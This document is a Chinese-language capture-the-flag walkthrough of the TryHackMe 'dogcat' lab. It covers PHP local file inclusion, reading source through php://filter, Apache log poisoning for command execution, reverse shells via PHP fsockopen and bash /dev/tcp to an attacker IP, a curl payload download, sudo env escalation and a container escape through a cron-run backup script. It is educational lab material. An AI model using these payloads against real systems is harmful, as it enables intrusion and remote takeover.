【THM】dogcat-Practice

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/dogcat

Difficulty: Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~]
└─# nmap -p- -sC -sV -T4 10.10.93.198
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-09 20:22 EST
Nmap scan report for 10.10.93.198
Host is up (0.32s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
| 256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_ 256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: dogcat
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

我们访问80端口

image-20231210093732935

1
http://10.10.93.198/?view=cat

这个想到了本地文件包含Local File Inclusion

1
访问http://10.10.93.198/cat.php

可以猜到

1
include $_GET['view'] . "php";

所以我们尝试访问

1
http://10.10.93.198/?view=../../../../etc/passwd

image-20231210095118372

1
http://10.10.93.198/?view=dog../../../../etc/passwd

image-20231210095559841

这里有一个index.php

1
http://10.10.93.198/?view=dog../../index

image-20231210100213946

似乎存在冲突。通常,当尝试两次声明相同的函数时,通常会出现此错误,在这种情况下,这可能是由于include()函数引起的。因此,为了检索 index.php,我强制 PHP 在 include()函数中使用文件之前对文件进行 base64 编码

1
http://10.10.93.198/?view=php://filter/convert.base64-encode/resource=dog/../index
1
go!PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R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QogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg== 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE HTML>
<html>

<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>

<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>

</html>

因此,这里有几件有趣的事情需要注意。首先,有一个$ext变量,它不断将.php扩展附加到我们的输入中,以解释之前的错误。此外,只要我们对视图的输入包含字符串dog/cat,我们就可以开始了。因此,现在我们对源代码有了更多的了解,让我们尝试一些路径遍历

1
http://10.10.93.198/?view=dog/../../../../../etc/passwd&ext=
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

下一步是访问日志

1
http://10.10.93.198/?view=dog/../../../../../var/log/apache2/access.log&ext=

image-20231210101040441

这是日志的片段

1
2
3
{YOUR_IP} - - [10/Jul/2020:10:27:35 +0000] "GET /cats/4.jpg HTTP/1.1" 200 17994 "http://$IP/?view=cat" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

{ACCESSING_IP} - - [TIME] “{REQUEST}” {RESPONSE_CODE} {I_DUNNO} “{URL}” “{USER_AGENT}”

可以用python

image-20231210101857895

或者burp

image-20231210102658499

1
http://10.10.93.198/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=whoami

image-20231210102727139

flag1

1
http://10.10.93.198/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=&cmd=ls%20-l

image-20231210103113508

image-20231210103825770

flag2

image-20231210104016186

image-20231210104107461

flag3

xxxxxxxxxx ┌──(root㉿kali)-[~/Desktop]└─# john pass –show                                     vianka:beautiful1:18507:0:99999:7:::1 password hash cracked, 0 leftscss

1
php -r '$sock=fsockopen("10.13.38.193",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

首先开个服务

image-20231210105822359

1
10.10.93.198/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=curl -o php-reverse-shell.php 10.13.38.193:8000/php-reverse-shell.php

成功上传到服务器

image-20231210110041079

然后使用netcat

image-20231210110254277

访问

1
http://10.10.93.198/php-reverse-shell.php

image-20231210110521843

反弹成功

image-20231210110632169

gtfobins

1
sudo env /bin/sh

image-20231210110912111

image-20231210110938224

flag4

在 /opt/backups 中有两个文件,即 backup.sh 和 backup.tar ,backup.sh 的文件似乎每分钟运行一次,并且正在将数据备份到备份中.tar

image-20231210111410470

在这里,我们可以看到我们实际上在一个容器内。不过,容器转义似乎并不难,因为这看起来像是主机和容器之间的共享文件夹,主机在其中运行此脚本以获取备份。我们可以简单地在文件末尾附加一个 bash 反向 shell,然后升级到主机。

1
echo "bash -i >& /dev/tcp/10.13.38.193/1235 0>&1" >> backup.sh

image-20231210111819757

image-20231210111923474

image-20231210111947346